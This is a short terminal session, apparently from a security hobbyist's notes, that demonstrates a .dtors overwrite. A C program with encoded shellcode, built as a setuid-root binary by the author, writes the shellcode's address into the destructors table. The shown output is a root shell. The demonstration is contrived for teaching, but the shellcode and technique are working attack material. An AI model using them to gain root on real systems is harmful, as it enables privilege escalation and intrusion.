user@kototama:~/Hacking/Code/BO/Heap$ su Password: kototama:/home/user/Hacking/Code/BO/Heap# gcc dtors_exploited.c kototama:/home/user/Hacking/Code/BO/Heap# chmod +s a.out kototama:/home/user/Hacking/Code/BO/Heap# exit user@kototama:~/Hacking/Code/BO/Heap$ cat dtors_exploited.c /** * dtors exploitation example * * Kototama * */ #include #include /* forged by shellforge, Philippe Biondi */ unsigned char sc[] = "\xeb\x0d\x5e\x31\xc9\xb1\x57\x80\x36\x01\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff" "\xff\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x82\xc2\xf3" "\xc6\x44\xfd\x01\x01\x01\x01\x8c\xba\x4e\x01\x01\x01\x88\x7c\xf9\xb9\x47\x01" "\x01\x01\x30\xc8\x52\xba\x01\x01\x01\x01\xcc\x81\x5a\x8c\x44\xf9\x88\x44\xf5" "\xbf\x0a\x01\x01\x01\x88\xf1\x8a\x4c\xf5\x30\xd3\x52\x88\xfa\xcc\x81\x5a\x5a" "\x5f\x5e\xc8\xc2\x2e\x63\x68\x6f\x2e\x72\x69\x01"; int main (int argc, char **argv) { unsigned int *ptr = (unsigned int *) 0x08049700; printf("dtors = %x\n", *(ptr+1)); *(ptr+1) = (unsigned int) sc; printf("dtors = %x\n", *(ptr+1)); return 0; } user@kototama:~/Hacking/Code/BO/Heap$ ./a.out dtors = 0 dtors = 80495c0 sh-2.05a# id uid=0(root) gid=1000(user) egid=0(root) groups=1000(user),29(audio),1001(video) sh-2.05a#